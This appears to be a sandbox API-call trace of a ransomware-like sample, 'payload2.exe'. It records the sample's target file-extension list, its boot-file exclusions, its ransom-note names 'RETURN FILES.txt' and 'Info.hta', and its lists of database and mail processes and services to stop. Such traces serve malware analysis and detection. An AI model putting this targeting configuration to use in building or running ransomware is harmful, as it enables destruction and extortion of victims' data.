0x273d38 [0031.282] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273d50 [0031.282] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x25a270 [0031.282] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273d68 [0031.282] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273d80 [0031.282] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273d98 [0031.282] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273db0 [0031.282] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273dc8 [0031.282] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x273de0 [0031.282] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x273070, Size=0x800) returned 0x274078 [0031.282] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0031.282] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x270068 | out: hHeap=0x220000) returned 1 [0031.282] lstrlenW (lpString="") returned 0 [0031.282] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x274ef8 | out: hHeap=0x220000) returned 1 [0031.282] lstrlenW (lpString=".html") returned 5 [0031.282] lstrlenW (lpString=".html") returned 5 [0031.282] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x274ef8 | out: hHeap=0x220000) returned 1 [0031.282] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x274f28, Size=0x20) returned 0x2559b0 [0031.282] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2559b0, Size=0x40) returned 0x256b18 [0031.282] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x256b18, Size=0x80) returned 0x27b458 [0031.282] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a2e0, Size=0x8) returned 0x25a2f0 [0031.283] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a2f0, Size=0x10) returned 0x274f28 [0031.283] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x274f28, Size=0x20) returned 0x255a00 [0031.283] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0031.283] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x27b458 | out: hHeap=0x220000) returned 1 [0031.283] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x274f58, Size=0x20) returned 0x255a28 [0031.283] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x255a28, Size=0x40) returned 0x256b18 [0031.283] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0031.283] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0031.283] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x256b18 | out: hHeap=0x220000) returned 1 [0031.283] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x274f58, Size=0x20) returned 0x255a28 [0031.283] lstrlenW (lpString="Info.hta") returned 8 [0031.283] lstrlenW (lpString="Info.hta") returned 8 [0031.283] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255a28 | out: hHeap=0x220000) returned 1 [0031.283] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x29d468, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\payload2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\payload2.exe")) returned 0x32 [0031.283] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x29d468 | out: hHeap=0x220000) returned 1 [0031.283] lstrlenW (lpString="payload2.exe") returned 12 [0031.283] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x255a00, Size=0x40) returned 0x256b18 [0031.283] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x274f58, Size=0x20) returned 0x255a00 [0031.284] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x274f58, Size=0x20) returned 0x255a50 [0031.284] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x255a50, Size=0x40) returned 0x256b60 [0031.284] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x256b60, Size=0x80) returned 0x27b458 [0031.284] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x27b458, Size=0x100) returned 0x271088 [0031.284] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0031.284] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x271088 | out: hHeap=0x220000) returned 1 [0031.284] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x29d468, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0031.284] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2ad470 | out: hHeap=0x220000) returned 1 [0031.284] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x29d468 | out: hHeap=0x220000) returned 1 [0031.284] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a2f0, Size=0x8) returned 0x25a2e0 [0031.284] lstrlenW (lpString="%windir%;") returned 9 [0031.284] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255a00 | out: hHeap=0x220000) returned 1 [0031.284] lstrlenW (lpString="C:\\Windows;") returned 11 [0031.284] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x28d460 | out: hHeap=0x220000) returned 1 [0031.284] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x274f70, Size=0x20) returned 0x255a00 [0031.284] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x255a00, Size=0x40) returned 0x256b60 [0031.284] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x256b60, Size=0x80) returned 0x27b458 [0031.284] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x27b458, Size=0x100) returned 0x271088 [0031.284] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a320, Size=0x8) returned 0x25a330 [0031.284] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a330, Size=0x10) returned 0x274fb8 [0031.284] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x274fb8, Size=0x20) returned 0x255a00 [0031.284] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a2f0, Size=0x8) returned 0x25a330 [0031.284] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a300, Size=0x8) returned 0x25a2f0 [0031.284] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a320, Size=0x8) returned 0x25a340 [0031.284] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a340, Size=0x10) returned 0x275060 [0031.285] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x275060, Size=0x20) returned 0x255a50 [0031.285] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a330, Size=0x10) returned 0x275060 [0031.285] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a2f0, Size=0x10) returned 0x270098 [0031.285] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a330, Size=0x8) returned 0x25a320 [0031.285] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a350, Size=0x8) returned 0x25a360 [0031.285] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x275060, Size=0x20) returned 0x255a78 [0031.285] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x270098, Size=0x20) returned 0x255aa0 [0031.285] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a370, Size=0x8) returned 0x25a380 [0031.285] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0031.285] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x271088 | out: hHeap=0x220000) returned 1 [0031.285] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x270128, Size=0x20) returned 0x255af0 [0031.285] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x28d460, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0031.285] lstrlenW (lpString="C:\\") returned 3 [0031.285] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0031.285] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x28d460 | out: hHeap=0x220000) returned 1 [0031.285] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x273088, Size=0x82) returned 0x26be90 [0031.285] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2730a8, Size=0x100) returned 0x271088 [0031.285] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x26be90, Size=0x104) returned 0x2708f8 [0031.286] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x271088, Size=0x200) returned 0x275098 [0031.287] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x273098 | out: hHeap=0x220000) returned 1 [0031.287] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x275098 | out: hHeap=0x220000) returned 1 [0031.287] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2701d0 | out: hHeap=0x220000) returned 1 [0031.287] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x27b678 | out: hHeap=0x220000) returned 1 [0031.287] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x270188 | out: hHeap=0x220000) returned 1 [0031.287] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x27b5f0 | out: hHeap=0x220000) returned 1 [0031.287] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2701b8 | out: hHeap=0x220000) returned 1 [0031.287] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2708f8 | out: hHeap=0x220000) returned 1 [0031.287] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2701a0 | out: hHeap=0x220000) returned 1 [0031.287] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26bf20 | out: hHeap=0x220000) returned 1 [0031.287] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2701e8 | out: hHeap=0x220000) returned 1 [0031.287] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x270868 | out: hHeap=0x220000) returned 1 [0031.287] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x270200 | out: hHeap=0x220000) returned 1 [0031.287] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x270200, Size=0x20) returned 0x255b18 [0031.287] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x255b18, Size=0x40) returned 0x256b60 [0031.287] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x25a390 | out: hHeap=0x220000) returned 1 [0031.287] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x270128 | out: hHeap=0x220000) returned 1 [0031.287] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26c3c0 | out: hHeap=0x220000) returned 1 [0031.287] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x270158 | out: hHeap=0x220000) returned 1 [0031.287] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x27b568 | out: hHeap=0x220000) returned 1 [0031.287] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x270140 | out: hHeap=0x220000) returned 1 [0031.287] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x25a3a0 | out: hHeap=0x220000) returned 1 [0031.287] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x270170 | out: hHeap=0x220000) returned 1 [0031.287] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26b568 | out: hHeap=0x220000) returned 1 [0031.287] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x2560e8 | out: hHeap=0x220000) returned 1 [0031.287] lstrlenW (lpString="%systemdrive%") returned 13 [0031.287] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255af0 | out: hHeap=0x220000) returned 1 [0031.287] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x27b458 | out: hHeap=0x220000) returned 1 [0031.287] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x25a370 | out: hHeap=0x220000) returned 1 [0031.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x27d440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c [0031.288] WaitForMultipleObjects (nCount=0x2, lpHandles=0x257c30*=0x100, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 2 os_tid = 0x93c Thread: id = 4 os_tid = 0x948 [0031.922] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x270170 [0031.922] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x270170, Size=0x20) returned 0x255b18 [0031.922] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x255b18, Size=0x40) returned 0x256ba8 [0031.922] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x256ba8, Size=0x80) returned 0x27b458 [0031.922] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x27b458, Size=0x100) returned 0x271088 [0031.922] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x270170 [0031.922] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x270170, Size=0x20) returned 0x255b18 [0031.922] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x255b18, Size=0x40) returned 0x256ba8 [0031.922] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x256ba8, Size=0x80) returned 0x27b458 [0031.922] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x27b458, Size=0x100) returned 0x271190 [0031.922] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x270170 [0031.922] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4) returned 0x25a370 [0031.923] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x270140 [0031.923] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a370, Size=0x8) returned 0x25a3a0 [0031.923] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x14) returned 0x256108 [0031.923] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a3a0, Size=0x10) returned 0x270158 [0031.923] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x18) returned 0x256128 [0031.923] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x1a) returned 0x255b18 [0031.923] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x270158, Size=0x20) returned 0x255b40 [0031.923] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x1c) returned 0x255b68 [0031.923] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x16) returned 0x256148 [0031.923] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x1a) returned 0x255b90 [0031.923] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x270158 [0031.923] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x4) returned 0x25a3a0 [0031.923] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40) returned 0x256ba8 [0031.923] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a3a0, Size=0x8) returned 0x25a370 [0031.923] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x3c) returned 0x256bf0 [0031.923] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a370, Size=0x10) returned 0x270128 [0031.923] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x14) returned 0x256168 [0031.923] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x18) returned 0x256188 [0031.923] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x270128, Size=0x20) returned 0x255bb8 [0031.923] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x24) returned 0x26c3c0 [0031.923] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0031.923] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x271088 | out: hHeap=0x220000) returned 1 [0031.923] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0031.923] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x271190 | out: hHeap=0x220000) returned 1 [0031.923] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x255c58 [0031.924] EnumServicesStatusExW (in: hSCManager=0x255c58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 0 [0031.924] GetLastError () returned 0xea [0031.924] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x11e4) returned 0x28e4a0 [0031.924] EnumServicesStatusExW (in: hSCManager=0x255c58, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x28e4a0, cbBufSize=0x11e4, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x28e4a0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 1 [0031.925] CloseServiceHandle (hSCObject=0x255c58) returned 1 [0031.925] lstrlenW (lpString="Appinfo") returned 7 [0031.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0031.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0031.925] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0031.925] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0031.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0031.925] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0031.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0031.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0031.925] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0031.925] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0031.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0031.925] lstrlenW (lpString="AudioSrv") returned 8 [0031.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0031.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0031.925] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0031.925] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0031.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0031.925] lstrlenW (lpString="BFE") returned 3 [0031.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0031.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0031.926] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0031.926] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0031.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0031.926] lstrlenW (lpString="CryptSvc") returned 8 [0031.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0031.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0031.926] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0031.926] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0031.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0031.926] lstrlenW (lpString="CscService") returned 10 [0031.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0031.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0031.926] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0031.926] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0031.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0031.926] lstrlenW (lpString="DcomLaunch") returned 10 [0031.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0031.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0031.926] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0031.926] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0031.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0031.926] lstrlenW (lpString="Dhcp") returned 4 [0031.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0031.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0031.926] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0031.926] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0031.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0031.926] lstrlenW (lpString="Dnscache") returned 8 [0031.926] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0031.926] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0031.926] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0031.926] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0031.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0031.927] lstrlenW (lpString="DPS") returned 3 [0031.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0031.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0031.927] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0031.927] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0031.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0031.927] lstrlenW (lpString="eventlog") returned 8 [0031.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0031.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0031.927] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0031.927] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0031.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0031.927] lstrlenW (lpString="EventSystem") returned 11 [0031.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0031.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0031.927] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0031.927] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0031.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0031.927] lstrlenW (lpString="gpsvc") returned 5 [0031.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0031.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0031.927] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0031.927] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0031.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0031.927] lstrlenW (lpString="iphlpsvc") returned 8 [0031.927] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0031.927] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0031.927] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0031.927] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0031.927] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0031.927] lstrlenW (lpString="LanmanServer") returned 12 [0031.928] lstrcmpiW 